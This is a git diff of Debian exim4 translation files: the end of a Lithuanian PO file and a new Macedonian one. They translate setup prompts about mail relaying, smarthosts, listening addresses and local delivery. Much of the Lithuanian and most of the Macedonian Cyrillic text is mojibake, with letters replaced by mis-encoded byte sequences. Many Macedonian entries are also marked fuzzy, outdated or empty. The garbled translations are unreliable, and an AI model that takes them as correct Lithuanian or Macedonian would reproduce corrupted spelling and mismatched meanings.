+"Pavyzdžiui, jei vienas iš sistemos pašto adresų yra abc@example.com, tinkama "
+"reikšmė šiam nustatymui būtų „example.com“."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Å io vardo nebus iÅ¡einanÄių laiÅ¡kų „From:“ antraÅ¡tÄ—je, jei įjungsite "
+"perrašymą."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Kitos paskirties vietos, kurioms paštas turi būti priimtas:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Įveskite domenų, kuriuos aptarnauja ši sistema (užuot persiuntusi kitai "
+"sistemai), sąrašą. Domenus atskirkite kabliataškiais. Šie domenai dažnai "
+"vadinami „vietiniais domenais“. Vietinis pašto vardas (${fqdn}) ir "
+"„localhost“ įskaiÄiuojami į šį sÄ…raÅ¡Ä… automatiÅ¡kai."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Pagal nutylėjimą visi vietiniai domenai bus apdorojami vienodai. Jei „a.pvz“ "
+"ir „b.pvz“ yra vietiniai domenai, laiškai, adresuoti „petras@a.pvz“ ir "
+"„petras@b.pvz“, bus siunÄiami ten pat. Jei skirtingus domenų vardus reikia "
+"apdoroti skirtingai, teks redaguoti konfigūraciją rankiniu būdu."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Domenai, kurių paštą reikia perduoti (relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+"Ä®veskite gavÄ—jų domenų, kurių paÅ¡tas bus persiunÄiamas, sÄ…raÅ¡Ä…, kad Å¡i "
+"sistema galėtų jiems veikti kaip pašto šliuzas arba atsarginis MX serveris. "
+"Å i sistema priims paÅ¡tÄ…, siunÄiamÄ… į Å¡iuos domenus, iÅ¡ bet kurio kompiuterio "
+"internete, ir pristatys juos pagal vietinio pristatymo taisykles."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr "Vietinių domenų rašyti nereikia. Galima naudoti šablonus."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Kompiuteriai, kurių paštą leidžiama perduoti (relay):"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+"Įveskite kabliataškiais atskirtą sąrašą IP adresų ruožų, kurių paštas visada "
+"bus persiunÄiamas – Å¡i sistema jiems veiks kaip „smarthost“."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Naudokite standartinį formatą adresas/ilgis (pvz., 194.222.242.0/24 arba "
+"5f03:1200:836f::/48)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+"Jei ši sistema neturėtų būti „smarthost“ jokioms kitoms sistemoms, palikite "
+"šį sÄ…raÅ¡Ä… tuÅ¡ÄiÄ…."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Domeno vardas vietiniams naudotojams:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+"Pasirinkote slÄ—pti vietinį paÅ¡to sistemos vardÄ… siunÄiamuose laiÅ¡kuose, "
+"todėl būtina nurodyti domeno vardą, kurį ši sistema turėtų naudoti vietinių "
+"naudotojų laiškuose kaip domeną."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr "„smarthost“ IP adresas arba serverio vardas:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+"Įveskite pašto serverio, kuris bus naudojamas pašto siuntimui („smarthost“), "
+"IP adresą arba vardą. Jei serveris priima paštą nestandartiniu prievadu, "
+"prirašykite du dvitaškius ir prievado numerį (pvz., smarthost.example::587 "
+"or 192.168.254.254::2525). Dvitaškiai IPv6 adresuose turi būti dvigubinami."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Jei „smarthost“ serveris naudoja autentikaciją, skaitykite Debian "
+"README failus aplanke /usr/share/doc/exim4-base apie tai, kaip "
+"sukonfigūruoti SMTP autentikaciją."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Pašto, adresuoto root ir postmaster paskyroms, gavėjas:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+"Paštas „postmaster“, „root“ ir kitoms sisteminėms paskyroms turi būti "
+"peradresuotas tikrajam sistemos administratoriui."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+"Jei Å¡i reikÅ¡mÄ— paliekama tuÅ¡Äia, tokie laiÅ¡kai bus saugomi /var/mail/mail "
+"(nerekuomenduojama)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Naudotojo „postmaster“ paštas turėtų būti skaitomas toje sistemoje, kuriai "
+"išsiųstas, o ne persiųstas kitur, todėl bent vienas iš pateiktų naudotojų "
+"turėtų nenaudoti automatinio pašto persiuntimo į kitą sistemą. Galite "
+"naudoti prefiksą „real-“, jei norite priversti vietinį pristatymą."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Multiple user names need to be separated by spaces."
+msgstr "Kelios paskyros turi būti atskirtos tarpais."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid "IP-addresses to listen on for incoming SMTP connections:"
+msgstr "Vietiniai IP adresai, kuriais laukti įeinanÄių SMTP ryÅ¡ių:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"Please enter a semicolon-separated list of IP addresses. The Exim SMTP "
+"listener daemon will listen on all IP addresses listed here."
+msgstr ""
+"Įveskite kabliataškiais atskirtų IP adresų sąrašą. Exim SMTP pašto priėmimo "
+"tarnyba lauks prisijungimų visais Äia nurodytais IP adresais."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"An empty value will cause Exim to listen for connections on all available "
+"network interfaces."
+msgstr ""
+"Jei paliksite šį laukÄ… tuÅ¡ÄiÄ…, Exim lauks prisijungimų visais tinklo "
+"interfeisais."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:10001
+msgid ""
+"If this system only receives mail directly from local services (and not from "
+"other hosts), it is suggested to prohibit external connections to the local "
+"Exim daemon. Such services include e-mail programs (MUAs) which talk to "
+"localhost only as well as fetchmail. External connections are impossible "
+"when 127.0.0.1 is entered here, as this will disable listening on public "
+"network interfaces."
+msgstr ""
+"Jei šis kompiuteris priima elektroninį paštą tik tiesiogiai iš vietinių "
+"tarnybų (o ne iš kitų kompiuterių), rekomenduojama uždrausti išorinius "
+"prisijungimus prie Exim tarnybos. Tarnybų pavyzdžiai: MUA, bendraujantys "
+"tik su localhost, fetchmail. Jei Äia įvesta tik 127.0.0.1, iÅ¡oriniai "
+"prisijungimai bus neįmanomi, nes nebus klausimasi ant viešų tinklo "
+"interfeisų."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?"
+msgstr "Ar minimizuoti DNS užklausų kiekį?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"In normal mode of operation Exim does DNS lookups at startup, and when "
+"receiving or delivering messages. This is for logging purposes and allows "
+"keeping down the number of hard-coded values in the configuration."
+msgstr ""
+"Paprastai Exim vykdo DNS užklausas įkÄ—limo metu bei priimant / iÅ¡siunÄiant "
+"pranešimus. DNS vardai naudojami pildant žurnalą ir leidžia sumažinti IP "
+"adresų skaiÄių Exim nustatymuose."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"If this system does not have a DNS full service resolver available at all "
+"times (for example if its Internet access is a dial-up line using dial-on-"
+"demand), this might have unwanted consequences. For example, starting up "
+"Exim or running the queue (even with no messages waiting) might trigger a "
+"costly dial-up-event."
+msgstr ""
+"Jei Å¡is kompiuteris neturi pastovaus priÄ—jimo prie DNS serverio (pvz., "
+"naudoja prisiskambinimÄ… pagal pareikalavimÄ…), Å¡i funkcija gali sukelti "
+"nepageidaujamų pasekmių,pvz., Exim įkėlimo metu arba apdorojant eiles (net "
+"jei jose nÄ—ra laukianÄių praneÅ¡imų) gali bÅ«ti inicijuojamas brangus "
+"prisiskambinimas."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:11001
+msgid ""
+"This option should be selected if this system is using Dial-on-Demand. If it "
+"has always-on Internet access, this option should be disabled."
+msgstr ""
+"Ši funkcija turėtų būti pasirinkta, jei sistema naudoja skambinimą pagal "
+"pareikalavimą. Jei internetas visada prieinamas, ši funkcija turėtų būti "
+"išjungta."
+
+#. Type: title
+#. Description
+#: ../exim4-config.templates:12001
+msgid "Mail Server configuration"
+msgstr "Pašto tarnybos konfigūracija"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid "Split configuration into small files?"
+msgstr "Ar suskaidyti konfigūraciją į mažas rinkmenas?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"The Debian exim4 packages can either use 'unsplit configuration', a single "
+"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', "
+"where the actual Exim configuration files are built from about 50 smaller "
+"files in /etc/exim4/conf.d/."
+msgstr ""
+"Debian exim4 paketai galutinės konfigūracijos generavimui gali naudoti "
+"„neskaidytą konfigūraciją“ (vieną monolitišką failą /etc/exim4/exim4.conf."
+"template), arba „suskaidytą konfigūraciją“, sudaryta iš maždaug 50 mažesnių "
+"failų aplanke /etc/exim4/conf.d/."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"Unsplit configuration is better suited for large modifications and is "
+"generally more stable, whereas split configuration offers a comfortable way "
+"to make smaller modifications but is more fragile and might break if "
+"modified carelessly."
+msgstr ""
+"Neskaidyta konfigūracija labiau tinka stambiems pakeitimams ir apskritai yra "
+"daug stabilesnÄ—, tuo tarpu skaidyta patogesnÄ— nedideliems pakeitimams, bet "
+"yra trapesnÄ— ir gali nustoti veikti atlikus didelius pakeitimus."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:13001
+msgid ""
+"A more detailed discussion of split and unsplit configuration can be found "
+"in the Debian-specific README files in /usr/share/doc/exim4-base."
+msgstr ""
+"Platesnė diskusija apie neskaidytą ir skaidytą konfigūracijas aprašyta "
+"Debian README failuose aplanke /usr/share/doc/exim4-base."
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid "Hide local mail name in outgoing mail?"
+msgstr "SlÄ—pti vietinį paÅ¡to vardÄ… siunÄiamame paÅ¡te?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:14001
+msgid ""
+"The headers of outgoing mail can be rewritten to make it appear to have been "
+"generated on a different system. If this option is chosen, '${mailname}', "
+"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-"
+"Path are rewritten."
+msgstr ""
+"SiunÄiamo paÅ¡to antraÅ¡tÄ—s gali bÅ«ti perraÅ¡ytos, kad atrodytų, jog paÅ¡tas "
+"išsiųstas iš kitos sistemos. Jei pasirinksite šį nustatymą, „${mailname}“, "
+"„localhost“ ir „${dc_other_hostnames}“ antraštėse From, Reply-To, Sender ir "
+"Return-Path bus perrašyti."
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "mbox format in /var/mail/"
+msgstr "mbox formatas /var/mail/ aplanke"
+
+#. Type: select
+#. Choices
+#: ../exim4-config.templates:15001
+msgid "Maildir format in home directory"
+msgstr "Maildir formatas namų aplanke"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid "Delivery method for local mail:"
+msgstr "Pristatymo metodas vietiniam paštui:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Exim is able to store locally delivered email in different formats. The most "
+"commonly used ones are mbox and Maildir. mbox uses a single file for the "
+"complete mail folder stored in /var/mail/. With Maildir format every single "
+"message is stored in a separate file in ~/Maildir/."
+msgstr ""
+"Exim gali saugoti pristatytą paštą keliais formatais. Dažniausiai naudojami "
+"mbox ir Maildir. mbox formatu visas paštas rašomas į vieną rinkmeną aplanke /"
+"var/mail/. Maildir formatu kiekvienas laiškas saugomas atskiroje rinkmenoje "
+"aplanke ~/Maildir/."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:15002
+msgid ""
+"Please note that most mail tools in Debian expect the local delivery method "
+"to be mbox in their default."
+msgstr ""
+"Nepamirškite, kad dauguma pašto įrankių Debiane pagal nutylėjimą tikisi "
+"„mbox“ pristatymo metodo."
+
+#, fuzzy
+#~ msgid "Move undelivered mails from exim 3 to exim4 spool?"
+#~ msgstr "Ar perkelti neišsiųstus laiškus iš exim(v3) į exim4 pašto eilę?"
+
+#, fuzzy
+#~ msgid ""
+#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool "
+#~ "directory /var/spool/exim/input/."
+#~ msgstr ""
+#~ "Exim(v3) (arba exim-tls(v3)) pašto eilės kataloge /var/spool/exim/input/ "
+#~ "yra neišsiųstų laiškų."
+
+#~ msgid ""
+#~ "Choosing this option will move these messages to exim4's spool (/var/"
+#~ "spool/exim4/input/) where they will be handled by exim4."
+#~ msgstr ""
+#~ "Jei šis nustatymas pasirinktas, laiškai bus perkelti į exim4 pašto eilės "
+#~ "katalogÄ… (/var/spool/exim4/input/), kur jie bus apdorojami exim4."
+
+#, fuzzy
+#~ msgid ""
+#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-"
+#~ "versa. If you reject this option, you need to move the messages yourself "
+#~ "or they will never be delivered."
+#~ msgstr ""
+#~ "Versijos suderinamos tik viena kryptimi: Exim4 gali dirbti su exim(v3) "
+#~ "paÅ¡to eile, bet ne atvirkÅ¡Äiai. Perkelkite laiÅ¡kus tik jei neplanuojate "
+#~ "grįžti prie exim(v3). Kitu atveju laiškus reikėtų perkelti vėliau "
+#~ "rankiniu būdu."
+
+#~ msgid "Leaving this list blank will have Exim do no local deliveries."
+#~ msgstr ""
+#~ "Jei paliksite šį sÄ…raÅ¡Ä… tuÅ¡ÄiÄ…, Exim vietinis pristatymas bus iÅ¡jungtas."
diff --git a/debian/po/mk.po b/debian/po/mk.po
new file mode 100644
index 0000000..873de42
--- /dev/null
+++ b/debian/po/mk.po
@@ -0,0 +1,770 @@
+# translation of exim4_debian_po_mk.po to Macedonian
+# translation of exim_exim_debian_po_mk.po to
+# translation of exim_exim_debian_po_mk.po to
+# translation of exim_exim_debian_po_mk.po to
+#
+# Translators, if you are not familiar with the PO format, gettext
+# documentation is worth reading, especially sections dedicated to
+# this format, e.g. by running:
+# info -n '(gettext)PO Files'
+# info -n '(gettext)Header Entry'
+# Some information specific to po-debconf are available at
+# /usr/share/doc/po-debconf/README-trans
+# or http://www.debian.org/intl/l10n/po-debconf/README-trans#
+# Developers do not need to manually edit POT or PO files.
+# Georgi Stanojevski <glisha@gmail.com>, 2004.
+# Georgi Stanojevski <gogo@stavre>, 2005.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: exim4_debian_po_mk\n"
+"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n"
+"POT-Creation-Date: 2007-07-18 08:29+0200\n"
+"PO-Revision-Date: 2005-07-26 21:11+0200\n"
+"Last-Translator: Georgi Stanojevski <gogo@stavre>\n"
+"Language-Team: Macedonian <ossm-members@hedona.on.net.mk>\n"
+"Language: mk\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.9.1\n"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid "Remove undelivered messages in spool directory?"
+msgstr ""
+"ОтÑтрани ги пораките кои не Ñе доÑтавени а Ñеуште Ñе во директорумот за "
+"праќање?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+#, fuzzy
+msgid ""
+"There are e-mail messages in the Exim spool directory /var/spool/exim4/"
+"input/ which have not yet been delivered. Removing Exim will cause them to "
+"remain undelivered until Exim is re-installed."
+msgstr ""
+"Има пораки во директорумот за праќање на exim /var/spool/exim4/input кои "
+"Ñеуште не биле иÑпратени. Може да ги задржиш во Ñлучај да одлучиш да го "
+"инÑталираш Exim подоцна или можеш да ги избришеш."
+
+#. Type: boolean
+#. Description
+#: ../exim4-base.templates:1001
+msgid ""
+"If this option is not chosen, the spool directory is kept, allowing the "
+"messages in the queue to be delivered at a later date after Exim is re-"
+"installed."
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid "Reconfigure exim4-config instead of this package"
+msgstr ""
+
+#. Type: error
+#. Description
+#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001
+#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001
+msgid ""
+"Exim4 has its configuration factored out into a dedicated package, exim4-"
+"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'."
+msgstr ""
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "internet site; mail is sent and received directly using SMTP"
+msgstr "интернет Ñтрана - поштата Ñе праќа и прима преку СМТП"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; received via SMTP or fetchmail"
+msgstr "пошта пратена преку друг домаќин - примена преку СМТП или fetchmail"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "mail sent by smarthost; no local mail"
+msgstr "пошта пратена преку друг домаќин - нема локална пошта"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "local delivery only; not on a network"
+msgstr "Ñамо локално иÑпорачување - не е на мрежа"
+
+#. Type: select
+#. Choices
+#. Translators beware! the following six strings form a single
+#. Choices menu. - Every one of these strings has to fit in a standard
+#. 80 characters console, as the fancy screen setup takes up some space
+#. try to keep below ~71 characters.
+#. DO NOT USE commas (,) in Choices translations otherwise
+#. this will break the choices shown to users
+#: ../exim4-config.templates:1001
+msgid "no configuration at this time"
+msgstr "нема конфигурација во моментов"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid "General type of mail configuration:"
+msgstr "Главен тип на конфигурација за пошта:"
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+#, fuzzy
+msgid ""
+"Please select the mail server configuration type that best meets your needs."
+msgstr "Избери го типот на конфигурација кој најдобро ти одговара."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+#, fuzzy
+msgid ""
+"Systems with dynamic IP addresses, including dialup systems, should "
+"generally be configured to send outgoing mail to another machine, called a "
+"'smarthost' for delivery because many receiving systems on the Internet "
+"block incoming mail from dynamic IP addresses as spam protection."
+msgstr ""
+"СиÑтемите Ñо динамички ИП адреÑи треба главно да бидат конфигурирани да ја "
+"праќаат надворешната пошта преку друга машина. Може да обереш да примаш "
+"пошта на таков ÑиÑтем или да немаш иÑпорака на локална пошта, оÑвен пошта за "
+"root и за postmaster."
+
+#. Type: select
+#. Description
+#: ../exim4-config.templates:1002
+msgid ""
+"A system with a dynamic IP address can receive its own mail, or local "
+"delivery can be disabled entirely (except mail for root and postmaster)."
+msgstr ""
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+msgid "Really leave the mail system unconfigured?"
+msgstr "ÐавиÑтина оÑтави го ÑиÑтемо за пошта неконфигуриран?"
+
+#. Type: boolean
+#. Description
+#: ../exim4-config.templates:2001
+#, fuzzy
+msgid ""
+"Until the mail system is configured, it will be broken and cannot be used. "
+"Configuration at a later time can be done either by hand or by running 'dpkg-"
+"reconfigure exim4-config' as root."
+msgstr ""
+"Се додека твојот ÑиÑтем за пошта не е конфигуриран, ќе биде раÑипан и не ќе "
+"може да Ñе кориÑти. Се разбира подоцна можеш да го конфигурираш или рачно "
+"или Ñо извршување на „dpkg-reconfigure exim4-config“ како root."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid "System mail name:"
+msgstr "ПоштенÑко име:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"The 'mail name' is the domain name used to 'qualify' mail addresses without "
+"a domain name."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name will also be used by other programs. It should be the single, "
+"fully qualified domain name (FQDN)."
+msgstr ""
+"Името иÑто така ќе биде кориÑтено од други програми, треба да биде единечен "
+"и правилен име на домејн (FQDN) од кој ќе изгледа дека поштата потекнува."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+msgid ""
+"Thus, if a mail address on the local host is foo@example.org, the correct "
+"value for this option would be example.org."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:3001
+#, fuzzy
+msgid ""
+"This name won't appear on From: lines of outgoing messages if rewriting is "
+"enabled."
+msgstr ""
+"Ова име нема да Ñе прикажува во Од: линииите на поштата за надвор ако "
+"овозможиш препишување."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+msgid "Other destinations for which mail is accepted:"
+msgstr "Други деÑтинации за кои поштата Ñе прима:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+#, fuzzy
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"machine should consider itself the final destination. These domains are "
+"commonly called 'local domains'. The local hostname (${fqdn}) and "
+"'localhost' are always added to the list given here."
+msgstr ""
+"Те молам внеÑи лиÑта на домејни за кои оваа машина треба да Ñе Ñмета како "
+"крајна деÑтинација, оÑвен локалната адреÑа (${fqdn}) и „localhost“."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:4001
+#, fuzzy
+msgid ""
+"By default all local domains will be treated identically. If both a.example "
+"and b.example are local domains, acc@a.example and acc@b.example will be "
+"delivered to the same final destination. If different domain names should be "
+"treated differently, it is necessary to edit the config files afterwards."
+msgstr ""
+"Предефинирано кон Ñите домејни Ñе однеÑува иÑто, ако Ñакаш кон различни "
+"домејни да Ñе однеÑува различно, ќе треба да ја Ñмениш конфигурациÑката "
+"датотека потоа."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Domains to relay mail for:"
+msgstr "Домејни за кои поштата Ñе препраќа:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid ""
+"Please enter a semicolon-separated list of recipient domains for which this "
+"system will relay mail, for example as a fallback MX or mail gateway. This "
+"means that this system will accept mail for these domains from anywhere on "
+"the Internet and deliver them according to local delivery rules."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:5001
+msgid "Do not mention local domains here. Wildcards may be used."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid "Machines to relay mail for:"
+msgstr "Машини за кои да препраќаш пошта:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"Please enter a semicolon-separated list of IP address ranges for which this "
+"system will unconditionally relay mail, functioning as a smarthost."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+#, fuzzy
+msgid ""
+"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or "
+"5f03:1200:836f::/48)."
+msgstr ""
+"Ðко има, внеÑи ги тука одвоени Ñо две точки. Треба да го кориÑтиш "
+"Ñтандардниот формат за адреÑи (пр. 192.222.242.0/24)."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:6001
+msgid ""
+"If this system should not be a smarthost for any other host, leave this list "
+"blank."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid "Visible domain name for local users:"
+msgstr "Видливи имиња на домејни за локалните кориÑници:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:7001
+msgid ""
+"The option to hide the local mail name in outgoing mail was enabled. It is "
+"therefore necessary to specify the domain name this system should use for "
+"the domain part of local users' sender addresses."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid "IP address or host name of the outgoing smarthost:"
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+msgid ""
+"Please enter the IP address or the host name of a mail server that this "
+"system should use as outgoing smarthost. If the smarthost only accepts your "
+"mail on a port different from TCP/25, append two colons and the port number "
+"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in "
+"IPv6 addresses need to be doubled."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:8001
+#, fuzzy
+msgid ""
+"If the smarthost requires authentication, please refer to the Debian-"
+"specific README files in /usr/share/doc/exim4-base for notes about setting "
+"up SMTP authentication."
+msgstr ""
+"Погледни во /usr/share/doc/exim4-base/README.Debian.gz за забелешки за "
+"поÑтавување на СМТП автентикација."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid "Root and postmaster mail recipient:"
+msgstr "Примач на поштата на root и postmaster:"
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"Mail for the 'postmaster', 'root', and other system accounts needs to be "
+"redirected to the user account of the actual system administrator."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+msgid ""
+"If this value is left empty, such mail will be saved in /var/mail/mail, "
+"which is not recommended."
+msgstr ""
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
+msgid ""
+"Note that postmaster's mail should be read on the system to which it is "
+"directed, rather than being forwarded elsewhere, so (at least one of) the "
+"users listed here should not redirect their mail off this machine. A 'real-' "
+"prefix can be used to force local delivery."
+msgstr ""
+"Поштата за „postmaster“, „root“ и други ÑиÑтемÑки Ñметки најчеÑто Ñе "
+"препраќа на кориÑничката Ñметка на виÑтинÑкиот админиÑтратор. Ðко ја оÑтвиш "
+"оваа вредноÑÑ‚ празна, ваквите пораки ќе бидат Ñнимани во /var/mail/mail што "
+"не е препорачливо. Имај на ум дека поштата за postmaster треба да Ñе чита на "
+"машината за која е наÑочена, отколку да Ñе препраќа на друго меÑто. Така "
+"барем за еден од кориÑниците кои ќе ги одбереш поштата не треба да Ñе "
+"препраќа на друго меÑто. КориÑти го „real-“ префикÑот за да форÑираш локална "
+"иÑпорака."
+
+#. Type: string
+#. Description
+#: ../exim4-config.templates:9001
+#, fuzzy
